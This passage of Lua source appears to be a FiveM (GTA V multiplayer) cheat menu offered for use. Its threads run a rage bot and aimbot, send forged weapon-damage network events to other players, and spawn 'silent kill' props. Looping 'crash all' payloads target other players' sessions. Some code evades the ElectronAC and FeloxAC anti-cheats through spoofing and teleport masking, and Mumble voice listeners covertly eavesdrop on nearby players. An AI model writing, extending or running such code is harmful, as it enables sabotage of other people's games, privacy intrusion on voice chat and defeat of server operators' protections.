valid, distance = scoreRageTargetInFov(targetPed, fovRadius, centerX, centerY, fovSetting) if valid then rageCandidates[#rageCandidates + 1] = { ped = targetPed, playerId = playerId, distPx = distance, } visibleRageTargets[targetPed] = true end end end for entity, targetState in pairs(rageBotTargetStates) do if not visibleRageTargets[entity] then local keepTarget = false if targetState and not targetState.done then local hits = targetState.hits if not hits then hits = 0 end if not (hits <= 0) then keepTarget = true end end if not keepTarget then rageBotTargetStates[entity] = nil end end end table.sort(rageCandidates, function(first, second) local firstDistance = first.distPx if not firstDistance then firstDistance = 1.0E9 end local secondDistance = second.distPx if not secondDistance then secondDistance = 1.0E9 end return firstDistance < secondDistance end) local scheduledRageTargets = {} local scheduledRageTargetsSet = {} local function addRageTarget(entity) if entity and entity ~= 0 and not scheduledRageTargetsSet[entity] then scheduledRageTargetsSet[entity] = true scheduledRageTargets[#scheduledRageTargets + 1] = entity end end if isRageCooldownEnabled() then local handledLockedTarget = false if rageBotLockedTarget and DoesEntityExist(rageBotLockedTarget) then if (menu.vars.bools.rageBotTargetDead or not IsEntityDead(rageBotLockedTarget)) and not menu.utils.isPedFriend(rageBotLockedTarget) then local valid = scoreRageTargetInFov(rageBotLockedTarget, fovRadius, centerX, centerY, fovSetting) if valid then addRageTarget(rageBotLockedTarget) else rageBotLockedTarget = nil end handledLockedTarget = true end end if not handledLockedTarget and canRageBotAcquireTarget() and 0 < #rageCandidates then rageBotLockedTarget = rageCandidates[1].ped addRageTarget(rageBotLockedTarget) end else for index = 1, #rageCandidates, 1 do addRageTarget(rageCandidates[index].ped) end end for target, targetState in pairs(rageBotTargetStates) do if targetState and not targetState.done then local hits = targetState.hits if not hits then hits = 0 end if 0 < hits then local added = false if visibleRageTargets[target] and DoesEntityExist(target) and (menu.vars.bools.rageBotTargetDead or not IsEntityDead(target)) and not menu.utils.isPedFriend(target) then addRageTarget(target) added = true end if not added and not visibleRageTargets[target] then rageBotTargetStates[target] = nil end end end end if udKillEnabled then local shouldSpoof = 0 < #scheduledRageTargets or hasPendingRageBotTarget() setRageVehicleSpoof(shouldSpoof) end for index = 1, #scheduledRageTargets, 1 do if silentKillEnabled then applyRageFixedDamageHit( scheduledRageTargets[index], currentTime, playerPosition, fireWeaponHash ) elseif udKillEnabled then applyRageSafeKillHit(scheduledRageTargets[index], currentTime, playerPosition) else applyRageZeroDamageBurst( scheduledRageTargets[index], currentTime, playerPosition, damageProfile ) end end elseif udKillEnabled then setRageVehicleSpoof(false) end else setRageVehicleSpoof(false) rageBotLockedTarget = nil rageBotTargetStates = {} rageBotCooldownState = { windowStart = 0, killsUsed = 0, killWatch = {} } end Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local radiusSetting = 140 local maximumRange = 40.0 local baseDamage = 70.0 local attackInterval = 350 local unarmedHash = unarmedWeaponHash local wasEnabled = false while _G.runmenu do local waitTime = 500 repeat if not menu.vars.bools.punchMode or menu.vars.panicMode then if wasEnabled then wasEnabled = false menu.vars.punchModeCurrentTarget = nil end break end wasEnabled = true waitTime = 0 local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then break end SetCurrentPedWeapon(playerPed, unarmedHash, true) if GetSelectedPedWeapon(playerPed) ~= unarmedHash then break end local pressed = IsControlPressed(0, 24) if not pressed then pressed = IsControlPressed(0, 140) if not pressed then pressed = IsControlPressed(0, 141) if not pressed then pressed = IsPedShooting(playerPed) if not pressed then pressed = IsDisabledControlPressed(0, 24) if not pressed then pressed = IsDisabledControlPressed(0, 140) if not pressed then pressed = IsDisabledControlPressed(0, 141) end end end end end end DisableControlAction(0, 24, true) DisableControlAction(0, 140, true) DisableControlAction(0, 141, true) local screenWidth, screenHeight = GetActiveScreenResolution() local centerX, centerY = 0.5, 0.5 local radius = radiusSetting / 1000.0 * math.min(screenWidth, screenHeight) local playerPosition = GetEntityCoords(playerPed) local closestPed = nil local closestScore = 1.0E9 for _, playerId in ipairs(GetActivePlayers()) do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) or menu.utils.isPedFriend(targetPed) then break end local distance = #(playerPosition - GetEntityCoords(targetPed)) if not (maximumRange >= distance) then break end local head = menu.utils.getTargetBonePosition(targetPed, 31086) local body = menu.utils.getTargetBonePosition(targetPed, 24817) if not body then body = GetEntityCoords(targetPed) end local function screenDistance(vector) if not vector or not vector.x then return nil end local visible, screenX, screenY = GetScreenCoordFromWorldCoord(vector.x, vector.y, vector.z) if not visible then return nil end local dx = (screenX - centerX) * screenWidth local dy = (screenY - centerY) * screenHeight return math.sqrt(dx * dx + dy * dy) end local headDistance = screenDistance(head) local bodyDistance = screenDistance(body) local score = nil if headDistance and radius >= headDistance then score = headDistance elseif bodyDistance and radius >= bodyDistance then score = bodyDistance + 50000.0 end if score and closestScore > score then closestScore = score closestPed = targetPed end until true end menu.vars.punchModeCurrentTarget = closestPed if not pressed or not closestPed then break end local elapsed = GetGameTimer() - lastPunchModeAt if not (attackInterval <= elapsed) then break end local targetPlayer = NetworkGetPlayerIndexFromPed(closestPed) if not targetPlayer or targetPlayer == -1 then break end local serverId = GetPlayerServerId(targetPlayer) if not serverId or not (0 < serverId) then break end local electron = menu.vars.antiCheats if electron then electron = menu.vars.antiCheats.ElectronAC ~= nil end local weaponHash if electron then weaponHash = batWeaponHash end if not weaponHash then weaponHash = unarmedWeaponHash end local damage = electron and 100 or baseDamage local shotCount = electron and 2 or 1 local shotDelay = electron and 25 or 0 for shot = 1, shotCount, 1 do local targetPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local distance = #(playerPosition - GetEntityCoords(targetPed)) local willKill = nil if electron then local health = GetEntityHealth(targetPed) if damage >= health then willKill = true end end local data = {} data.weaponHash = weaponHash data.damage = damage data.damageType = 3 data.hitGlobalId = 0 data.parentGlobalId = 0 data.hitComponent = 0 data.overrideDamage = true data.damageTime = GetNetworkTimeAccurate() data.f133 = true data.isNetTargetPos = true data.damageFlags = electron and 517 or 513 data.f112Data = distance data.willKill = willKill Ham.sendWeaponDamageEvent(serverId, data) if shot < shotCount then Wait(shotDelay) end end lastPunchModeAt = GetGameTimer() until true Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local scanInterval = 350 local targetCooldown = 5500 local maximumRange = 40.0 while _G.runmenu do local waitTime = 500 repeat if not menu.vars.bools.silentKillMode or menu.vars.panicMode then break end waitTime = 0 local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then break end local elapsed = GetGameTimer() - lastSilentKillScanAt if not (scanInterval <= elapsed) then break end local radiusSetting = 130 local screenWidth, screenHeight = GetActiveScreenResolution() local centerX, centerY = 0.5, 0.5 local radius = radiusSetting / 1000.0 * math.min(screenWidth, screenHeight) local playerPosition = GetEntityCoords(playerPed) local targets = {} local currentTime = GetGameTimer() local cooldowns = menu.vars.silentKillModePropCooldowns if not cooldowns then cooldowns = {} end menu.vars.silentKillModePropCooldowns = cooldowns for _, playerId in ipairs(GetActivePlayers()) do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) then break end if not menu.vars.bools.revoBypass and IsEntityDead(targetPed) then break end if menu.utils.isPedFriend(targetPed) then break end local distance = #(playerPosition - GetEntityCoords(targetPed)) if not (maximumRange >= distance) then break end local head = menu.utils.getTargetBonePosition(targetPed, 31086) local body = menu.utils.getTargetBonePosition(targetPed, 24817) if not body then body = GetEntityCoords(targetPed) end local function screenDistance(vector) if not vector or not vector.x then return nil end local visible, screenX, screenY = GetScreenCoordFromWorldCoord(vector.x, vector.y, vector.z) if not visible then return nil end local dx = (screenX - centerX) * screenWidth local dy = (screenY - centerY) * screenHeight return math.sqrt(dx * dx + dy * dy) end local headDistance = screenDistance(head) local bodyDistance = screenDistance(body) if (headDistance and radius >= headDistance) or (bodyDistance and radius >= bodyDistance) then local serverId = GetPlayerServerId(playerId) if serverId and 0 < serverId then local lastSpawn = menu.vars.silentKillModePropCooldowns[serverId] if not lastSpawn then lastSpawn = 0 end if targetCooldown <= currentTime - lastSpawn then table.insert(targets, serverId) end end end until true end for _, serverId in ipairs(targets) do if menu.functions and menu.functions.spawnSilentKillPropForServerId then menu.functions.spawnSilentKillPropForServerId(serverId) menu.vars.silentKillModePropCooldowns[serverId] = currentTime end end lastSilentKillScanAt = currentTime until true Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local disabledForFriend = false local lastFov = -1 while _G.runmenu do local waitTime = 25 repeat if not menu.vars.bools.aimbot or menu.vars.panicMode then if disabledForFriend then disabledForFriend = false end break end waitTime = 0 local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then break end local configuredFov = menu.vars.sliders.aimbotFov if not configuredFov then configuredFov = 40 end local fov = math.floor(configuredFov + 0.5) if fov ~= lastFov then lastFov = fov if Ham.setAimbotFov then Ham.setAimbotFov(fov) elseif Ham.setaimbotfov then Ham.setaimbotfov(fov) end end local metrics = menu.utils.getAimFovScreenMetrics() local radiusSetting = menu.vars.sliders.aimbotFov if not radiusSetting then radiusSetting = 40 end local radius = menu.utils.getAimFovRadiusPixels(radiusSetting) local centerX, centerY = metrics.hamCenterX, metrics.hamCenterY local closestPed = 0 local closestDistance = 1.0E9 local playerPosition = GetEntityCoords(playerPed) for _, playerId in ipairs(GetActivePlayers()) do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end if menu.vars.bools.aimbotIgnoreVehicles and IsPedInAnyVehicle(targetPed, false) then break end if menu.vars.bools.aimbotVisibleOnly and not HasEntityClearLosToEntity(playerPed, targetPed, 17) then break end local distance = #(playerPosition - GetEntityCoords(targetPed)) if not (600.0 < distance) then local head = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) local screenDistance = menu.utils.getAimBoneScreenDistPx(head.x, head.y, head.z, centerX, centerY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) and closestDistance > screenDistance then closestDistance = screenDistance closestPed = targetPed end end until true end local isFriend = false if closestPed ~= 0 then isFriend = menu.utils.isPedFriend(closestPed) end if isFriend then if not disabledForFriend then Ham.aimBot(false) disabledForFriend = true end break end if not disabledForFriend or not menu.vars.bools.aimbot then break end Ham.aimBot(true) disabledForFriend = false until true Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local delay = 2500 local wasEnabled = false while _G.runmenu do if menu.vars.bools.infiniteVoiceRange then delay = 100 Citizen.InvokeNative(1961437104, 9999.9) NetworkSetTalkerProximity(9999.9) wasEnabled = true elseif wasEnabled then Citizen.InvokeNative(1961437104, 12.0) NetworkSetTalkerProximity(12.0) wasEnabled = false end Citizen.Wait(delay) end end) CreateThread(function() while _G.runmenu do if menu.vars.bools.antiFirstPerson then if GetFollowPedCamViewMode() == 4 then SetFollowPedCamViewMode(0) end DisableFirstPersonCamThisFrame() Wait(0) else Wait(500) end end end) CreateThread(function() while _G.runmenu do if menu.vars.bools.deleteNearbyPedsBypass then local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and GetGamePool then local playerPosition = GetEntityCoords(playerPed) local radius = 200.0 local peds = GetGamePool("CPed") if not peds then peds = {} end for _, ped in ipairs(peds) do if ped and ped ~= 0 and ped ~= playerPed and DoesEntityExist(ped) and not IsPedAPlayer(ped) then local distance = #(GetEntityCoords(ped) - playerPosition) if radius >= distance then NetworkRequestControlOfEntity(ped) SetEntityAsMissionEntity(ped, true, true) DeleteEntity(ped) end end end end end Wait(500) end end) Citizen.CreateThread(function() local lastFocusTime = 0 local lastFocusPosition = nil local refreshInterval = 100 while _G.runmenu do local freecamActive = menu.vars.freecamMenuActive if not freecamActive then freecamActive = menu.vars.bools if freecamActive then freecamActive = menu.vars.bools.freecam == true end end local spectating = menu.vars.spectatePlayerThread == true or menu.vars.spectateVehicleThread == true local remoteCarActive = menu.vars.rcCar if remoteCarActive then remoteCarActive = menu.vars.rcCar.active if remoteCarActive then remoteCarActive = menu.vars.rcCar.vehicle if remoteCarActive then remoteCarActive = DoesEntityExist(menu.vars.rcCar.vehicle) end end end local fullInvisible = menu.vars.pmFullInvisibleActive if fullInvisible ~= true then fullInvisible = menu.vars.bools if fullInvisible then fullInvisible = menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true end else fullInvisible = true end local waitTime = 2500 if freecamActive or spectating or remoteCarActive then lastFocusPosition = nil elseif fullInvisible then waitTime = 0 local playerPed = PlayerPedId() local position = GetEntityCoords(playerPed) local noclip = menu.vars.bools if noclip then noclip = menu.vars.bools.noclip if noclip then local cameraPosition = GetFinalRenderedCamCoord() if cameraPosition then position = cameraPosition end end end local currentTime = GetGameTimer() local shouldUpdate = refreshInterval < currentTime - lastFocusTime if not shouldUpdate then if lastFocusPosition and position then shouldUpdate = 5.0 < #(position - lastFocusPosition) elseif not lastFocusPosition then shouldUpdate = true end elseif not lastFocusPosition then shouldUpdate = true end if shouldUpdate and position then if menu.utils.applyLocalStreamingFocus then menu.utils.applyLocalStreamingFocus(position, playerPed) else pcall(function() SetFocusPosAndVel(position.x, position.y, position.z, 0.0, 0.0, 0.0) end) RequestCollisionAtCoord(position.x, position.y, position.z) if RequestAdditionalCollisionAtCoord then RequestAdditionalCollisionAtCoord(position.x, position.y, position.z) end end lastFocusTime = currentTime lastFocusPosition = position end else waitTime = 100 lastFocusPosition = nil local position = GetEntityCoords(PlayerPedId()) SetFocusArea(position.x, position.y, position.z) end Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local wasEnabled = false while _G.runmenu do local enabled = menu.vars.bools.miscCrash == true if enabled and not wasEnabled then menu.vars.bools.noclip = true if menu.functions and menu.functions.toggleNoclip then menu.functions.toggleNoclip({ toggleState = true }) end if not menu.vars.panicMode and menu.functions.miscCrashExecutePayload then menu.functions.miscCrashExecutePayload() end end if not enabled and wasEnabled then menu.vars.bools.noclip = false if menu.functions and menu.functions.toggleNoclip then menu.functions.toggleNoclip({ toggleState = false }) end end wasEnabled = enabled Citizen.Wait(500) end if wasEnabled then menu.vars.bools.noclip = false if menu.functions and menu.functions.toggleNoclip then menu.functions.toggleNoclip({ toggleState = false }) end end end) Citizen.CreateThread(function() while _G.runmenu do if menu.vars.bools.miscCrashAllLoop == true then if not menu.vars.panicMode and menu.functions.miscCrashAll then menu.functions.miscCrashAll() end Citizen.Wait(5000) else Citizen.Wait(1500) end end end) Citizen.CreateThread(function() local wasEnabled = false while _G.runmenu do local enabled = menu.vars.bools.crazyHelicopter == true if enabled and menu.utils.isServer151VehicleBlocked() then menu.vars.bools.crazyHelicopter = false enabled = false menu.utils.notifyBanBlocked() end if enabled and not wasEnabled and not menu.vars.panicMode and menu.functions.crazyHelicopterSpawn then menu.functions.crazyHelicopterSpawn() end if not enabled and wasEnabled and menu.functions.crazyHelicopterCleanup then menu.functions.crazyHelicopterCleanup() end wasEnabled = enabled Citizen.Wait(500) end end) AddEventHandler("pm_full_invisible:stopped", function() if menu.vars then menu.vars.pmFullInvisibleActive = false menu.vars.espForceRefresh = true menu.vars.espViewerRecoverUntil = GetGameTimer() + 3000 end end) local function addMumbleListener(serverId) local channel = MumbleGetVoiceChannelFromServerId(serverId) local listener = { channel = nil, hasOverride = false } if channel ~= -1 then MumbleAddVoiceChannelListen(channel) listener.channel = channel else MumbleSetVolumeOverrideByServerId(serverId, 1.0) listener.hasOverride = true end menu.vars.mumbleListeners[serverId] = listener end local function removeMumbleListener(serverId) local listener = menu.vars.mumbleListeners[serverId] if listener then if listener.channel ~= nil then MumbleRemoveVoiceChannelListen(listener.channel) end if listener.hasOverride then MumbleSetVolumeOverrideByServerId(serverId, -1.0) end end menu.vars.mumbleListeners[serverId] = nil end Citizen.CreateThread(function() while _G.runmenu do local freecamActive = menu.vars.freecamMenuActive if not freecamActive then freecamActive = menu.vars.bools.freecam == true end local fullInvisibleMode = menu.vars.pmFullInvisibleActive if fullInvisibleMode ~= true then fullInvisibleMode = menu.vars.bools if fullInvisibleMode then fullInvisibleMode = menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true end else fullInvisibleMode = true end local desyncEnabled = menu.vars.bools if desyncEnabled then desyncEnabled = menu.vars.bools.desyncName == true end local waitTime = 100 if freecamActive or fullInvisibleMode or desyncEnabled then waitTime = 50 end local spectating = false local spectateStates = menu.vars.indivBools if spectateStates then spectateStates = menu.vars.indivBools.spectate if spectateStates then for _, active in pairs(menu.vars.indivBools.spectate) do if active then spectating = true break end end end end local remoteCarActive = menu.vars.rcCar.active if remoteCarActive then remoteCarActive = menu.vars.rcCar.vehicle if remoteCarActive then remoteCarActive = DoesEntityExist(menu.vars.rcCar.vehicle) end end local voiceFullInvisible = menu.vars.pmFullInvisibleActive if voiceFullInvisible ~= true then voiceFullInvisible = menu.vars.bools if voiceFullInvisible then voiceFullInvisible = menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true end else voiceFullInvisible = true end local voiceDesyncEnabled = menu.vars.bools if voiceDesyncEnabled then voiceDesyncEnabled = menu.vars.bools.desyncName == true end if freecamActive or spectating or remoteCarActive or voiceFullInvisible or voiceDesyncEnabled then local voicePosition = nil if remoteCarActive then voicePosition = GetEntityCoords(menu.vars.rcCar.vehicle) elseif voiceDesyncEnabled then voicePosition = GetEntityCoords(PlayerPedId()) elseif voiceFullInvisible then local usePedPosition = menu.vars.bools.fullInvisibleWalk local selectedPedPosition = false if usePedPosition then usePedPosition = menu.vars.bools.noclip if not usePedPosition then voicePosition = GetEntityCoords(PlayerPedId()) selectedPedPosition = true end end if not selectedPedPosition then local storedPosition = LocalPlayer.state if storedPosition then storedPosition = LocalPlayer.state.pm_full_invisible_voice_pos end if storedPosition and tonumber(storedPosition.x) then voicePosition = vector3( tonumber(storedPosition.x), tonumber(storedPosition.y) or 0.0, tonumber(storedPosition.z) or 0.0 ) else local cameraPosition = GetFinalRenderedCamCoord() if cameraPosition then voicePosition = cameraPosition else voicePosition = GetEntityCoords(PlayerPedId()) end end end elseif freecamActive or spectating then voicePosition = GetFinalRenderedCamCoord() else voicePosition = GetGameplayCamCoord() end if voicePosition then local localServerId = GetPlayerServerId(PlayerId()) local players = GetActivePlayers() local nearbyListeners = {} for index = 1, #players, 1 do local playerId = players[index] local serverId = GetPlayerServerId(playerId) repeat if serverId == localServerId then break end local targetPed = GetPlayerPed(playerId) if targetPed == 0 or not DoesEntityExist(targetPed) then break end local distance = #(voicePosition - GetEntityCoords(targetPed)) local radius if freecamActive or spectating or voiceFullInvisible or voiceDesyncEnabled then radius = 50.0 else radius = 17.0 end if distance <= radius then nearbyListeners[serverId] = true if not menu.vars.mumbleListeners[serverId] then addMumbleListener(serverId) end end until true end for serverId, _ in pairs(menu.vars.mumbleListeners) do if not nearbyListeners[serverId] then removeMumbleListener(serverId) end end end else for serverId, _ in pairs(menu.vars.mumbleListeners) do removeMumbleListener(serverId) end end Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() local function getResetAnimationKey() local keyName = menu.vars.hotkeyBinds if keyName then keyName = menu.vars.hotkeyBinds.EMOTE_RESET_ANIMATION_KEY end if not keyName or keyName == "" or keyName == "None" or keyName == "NONE" then return nil end local key = ImGuiKey[keyName] if not key and keyName == "LeftAlt" then key = ImGuiKey.ModAlt or ImGuiKey.RightAlt end return key end while _G.runmenu do local enabled = menu.vars and menu.vars.bools and menu.vars.bools.emoteMenuResetAnimation == true if not enabled then Citizen.Wait(250) else local key = getResetAnimationKey() local released = key and Ham and Ham.isKeyReleased and Ham.isKeyReleased(key) if released and not (menu.vars and menu.vars.blameActive) then pcall(function() menu.functions.emoteMenuStopEmote({ silent = true }) end) end Citizen.Wait(0) end end end) Citizen.CreateThread(function() local wasPressed = false local controls = { 24, 140, 141, 142 } while _G.runmenu do local waitTime = 250 if menu.vars.bools.hulkVehicleKick and not menu.vars.panicMode and not menu.vars.visible then waitTime = 0 local target = menu.functions.getHulkVehicleKickTarget() local pressed = false local held = false for _, control in ipairs(controls) do if target or menu.vars.kickVehicleAnimationActive then DisableControlAction(0, control, true) end if not pressed then pressed = IsControlJustPressed(0, control) if not pressed then pressed = IsDisabledControlJustPressed(0, control) end end if not held then held = IsControlPressed(0, control) if not held then held = IsDisabledControlPressed(0, control) end end end if pressed and not wasPressed and target and not menu.vars.kickVehicleAnimationActive then menu.functions.tryHulkVehicleKick(target) end if held then wasPressed = held else wasPressed = pressed end else wasPressed = false end Citizen.Wait(waitTime) end end) if Ham.hasResource("FeloxAC") then CreateThread(function() while _G.runmenu do if menu.vars.bools.noclip or menu.vars.bools.fullInvisible or menu.vars.bools.autoTeleport then menu.utils.feloxMarkTeleport() Citizen.Wait(1250) else Citizen.Wait(100) end end end) end